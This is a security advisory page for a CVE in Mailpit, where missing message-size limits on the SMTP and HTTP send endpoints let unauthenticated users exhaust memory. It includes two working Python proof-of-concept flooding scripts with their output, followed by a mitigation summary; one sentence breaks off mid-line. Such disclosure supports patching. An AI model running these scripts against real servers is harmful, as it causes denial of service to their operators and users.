CVE-2026-45713: CWE-400: Uncontrolled Resource Consumption in axllent mailpit
Description
### Summary The Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go's zero value (0 ⇒ "no limit"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit's default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumption spike with a ~7-10× amplification factor (raw frame → enmime envelope tree → search-text index → zstd-encoded write to SQLite). Repeating the attack — or running it concurrently from multiple connections — drives the process to OOM-kill. ### Details Pre-auth, remote DoS on every Mailpit deployment running the default configuration. Memory is the primary axis; disk is a secondary one, because each oversized message is also persisted to the SQLite store (config.MaxMessages caps the count at 500 but never the bytes — so 500 attacker-sized messages × 1 GiB each = ~500 GiB on the host disk before the LRU rotates). Affected code [internal/smtpd/smtpd.go:107](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L107) — the field exists: ``` type Server struct { ... MaxSize int // Maximum message size allowed, in bytes ... } ``` [internal/smtpd/smtpd.go:863-877](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L863-L877) — the enforcement is gated on > 0: ``` for { ... line, err := s.br.ReadBytes('\n') if err != nil { return nil, err } if bytes.Equal(line, []byte(".\r\n")) { break } if line[0] == '.' { line = line[1:] } if s.srv.MaxSize > 0 { // ← only when set if len(data)+len(line) > s.srv.MaxSize { _, _ = s.br.Discard(s.br.Buffered()) return nil, maxSizeExceeded(s.srv.MaxSize) } } data = append(data, line...) // ← otherwise grows unbounded } ``` [internal/smtpd/main.go:223-248](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/main.go#L223-L248) — the field is never populated; grep -rn "MaxSize" cmd/ config/ returns zero hits. There is no --smtp-max-message-size CLI flag, no MP_SMTP_MAX_MESSAGE_SIZE env var. [server/apiv1/send.go:45-52](https://github.com/axllent/mailpit/blob/develop/server/apiv1/send.go#L45-L52) — HTTP path has the same defect: ``` decoder := json.NewDecoder(r.Body) data := sendMessageParams{} if err := decoder.Decode(&data.Body); err != nil { httpJSONError(w, err.Error()) return } ``` No r.Body = http.MaxBytesReader(w, r.Body, N) wrapper; server.ReadTimeout of 30 s is transmission-time, not body-size-budget. ### PoC Baseline RSS on a freshly-started binary: 25 MiB. After one 100 MiB SMTP DATA block: ~1 037 MiB (≈10× amplification, single connection, no auth): ``` #!/usr/bin/env python3 # poc-smtp-dos.py import socket, sys host, port = sys.argv[1], int(sys.argv[2]) mb = int(sys.argv[3]) # message size, MiB s = socket.create_connection((host, port), timeout=120) def r(): return s.recv(4096).decode("latin-1", "replace").strip() print(r()) for cmd in [b"HELO x\r\n", b"MAIL FROM:<[email protected]>\r\n", b"RCPT TO:<[email protected]>\r\n", b"DATA\r\n"]: s.sendall(cmd); print(r()) s.sendall(b"Subject: oversize\r\n\r\n") chunk = b"X" * (1024 * 1024) for _ in range(mb): s.sendall(chunk) s.sendall(b"\r\n.\r\n") print(r()); s.close() ``` ``` $ python3 poc-smtp-dos.py 127.0.0.1 1025 100 220 hostname Mailpit ESMTP Service ready 250 hostname greets x 250 2.1.0 Ok 250 2.1.5 Ok 354 Start mail input; end with <CR><LF>.<CR><LF> 250 2.0.0 Ok: queued as 58rI69JTJYjVFwogEbw9Jj $ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit) 1062848 # ≈ 1 037 MiB, up from 25 MiB baseline ``` Equivalent over HTTP: ``` # poc-http-dos.py import socket, sys host, port, mb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3]) prefix = b'{"From":{"Email":"[email protected]"},"To":[{"Email":"[email protected]"}],"Subject":"big","Text":"' suffix = b'"}' N = mb * 1024 * 1024 clen = len(prefix) + N + len(suffix) s = socket.create_connection((host, port), timeout=120) s.sendall( b"POST /api/v1/send HTTP/1.1\r\n" b"Host: x\r\n" b"Content-Type: application/json\r\n" b"Content-Length: " + str(clen).encode() + b"\r\n" b"Connection: close\r\n\r\n") s.sendall(prefix) chunk = b"X" * (1024 * 1024) for _ in range(mb): s.sendall(chunk) s.sendall(suffix) print(s.recv(500).decode("latin-1", "replace")) ``` ``` $ python3 poc-http-dos.py 127.0.0.1 8025 200 HTTP/1.1 200 OK ... $ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit) 2147000 # comfortably above 2 GiB on the same process ``` Five concurrent SMTP connections × 50 MiB each took the same machine from 25 MiB
CVSS v3.1
Score 7.5high
Affected software
axllent
mailpit
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AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
CVE-2026-45713 describes a resource exhaustion vulnerability in Mailpit's SMTP server and HTTP /api/v1/send endpoint prior to version 1.30.0. The Server.MaxSize integer field, intended to limit the maximum allowed DATA payload size, is never assigned outside test code, defaulting to zero which means no limit. The HTTP endpoint similarly lacks request body size limits. Both listeners bind to network-accessible ports without authentication, allowing remote attackers to send arbitrarily large messages. These messages cause amplified RAM consumption through internal processing steps, potentially leading to out-of-memory kills. The vulnerability is fixed in Mailpit 1.30.0.
Potential Impact
An unauthenticated remote attacker can cause Mailpit to consume excessive memory by sending very large email messages or HTTP requests. This can lead to denial of service via process termination (OOM kill). There is no impact on confidentiality or integrity reported. The CVSS 3.1 base score is 7.5 (High) reflecting network attack vector, no privileges required, no user interaction, and high impact on availability.
Mitigation Recommendations
Version 1.30.0 of Mailpit contains a patch that properly enforces maximum payload sizes to prevent uncontrolled resource consumption. Users should upgrade to version 1.30.0 or later. No other official remediation or temporary fixes are documented. Until patched, restricting network access to Mailpit's SMTP and HTTP ports can reduce exposure.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- GitHub_M
- Date Reserved
- 2026-05-13T05:51:48.665Z
- Cvss Version
- 3.1
- State
- PUBLISHED
Threat ID: 6a5e3e5d2a4a8d5989464da3
Added to database: 07/20/2026, 15:27:25 UTC
Last enriched: 07/20/2026, 15:42:05 UTC
Last updated: 10/19/2026, 06:48:17 UTC
Views: 124
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